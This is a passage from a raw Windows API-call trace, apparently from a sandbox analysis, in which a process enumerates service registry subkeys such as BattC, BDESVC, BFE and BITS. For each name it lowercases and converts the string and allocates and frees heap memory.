out: lpName="b06bdrv") returned 0x0 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0260.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0260.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0260.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.056] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0260.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.057] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0260.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.058] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0260.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.059] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) 